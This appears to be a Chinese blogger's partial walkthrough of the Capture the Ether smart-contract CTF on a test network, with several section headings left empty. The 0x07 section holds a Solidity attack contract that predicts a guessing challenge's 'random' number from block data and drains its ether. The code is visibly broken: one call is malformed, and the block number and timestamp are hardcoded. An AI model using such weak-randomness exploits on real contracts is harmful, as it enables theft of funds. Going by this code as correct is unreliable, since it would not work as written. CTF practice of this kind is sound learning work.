Capture the Ether闯关
前言
十天前玩过这个靶场,🐎的就会第一题,第二题在有基础的条件下看了1个多小时,不懂。。。真的有出息。。。今天做了几关,终于顺手了,感觉solidity还是很好玩的,这次是真的出息了。那接下来的学习的步骤是:《精通以太坊》--solidity手册---代码审计---靶场。
0x01 Deploy a contract
要求:安装metamask,通过测试Ropsten网络,在水龙头里面得到一些测试币。运行代码,出现true就可以了。
操作:在remix里面运行就行了,会自动连接meta mask,点击iscomplete函数,显示true就行了
0x02 CALL ME
要求:调用callme函数,点击“check solution”验证
操作:目的是让我们调用智能合约里面的callme函数,要让靶场能感受到我们调用了,所以在地址框要填靶场给的地址。将地址添到at address中,但后deploy。
后面会有callme这个按钮,然后查看iscomplete的bool型,最后显示出true就行。
0x03 Choose a nickname
要求:要求给自己设置一个昵称。这个比较简单
做法:创建新合约加名字就行。
0x04
0x05
0x06
找到两个参数值,算出来就行了
pragma solidity ^0.4.21; contract Solution { function returnHash() public view returns(uint8){ return uint8(keccak256(block.blockhash(10594045 - 1), 1625731115)); } }
这意思就是,在区块链上,加密有的信息是徒劳的。这些都会在链上查询到。
0x07
https://celebrusadvisory.com/smart-contract-exploits-part-1/
基于6的基础上,构造一个poc
pragma solidity ^0.4.21; contract GuessTheNewNumberChallenge { function GuessTheNewNumberChallenge() public payable { require(msg.value == 1 ether); } function isComplete() public view returns (bool) { return address(this).balance == 0; } function guess(uint8 n) public payable { require(msg.value == 1 ether); uint8 answer = uint8(keccak256(block.blockhash(10594699 - 1), 1625739555)); if (n == answer) { msg.sender.transfer(2 ether); } } } contract solution{ function() public payable{} function destory() public{ selfdestruct(msg.sender);} function exec() public payable{ GuessTheNewNumberChallenge cTc = GuessTheNewNumberChallenge(0x50B12867B2bb06DEB2655b11D93FBd72Bbf55070); cTc.guess.value(msg.value)(uint8(keccak256(block.blockhash()(10594699 - 1),1625739555))); } }
珍惜时间,只错一次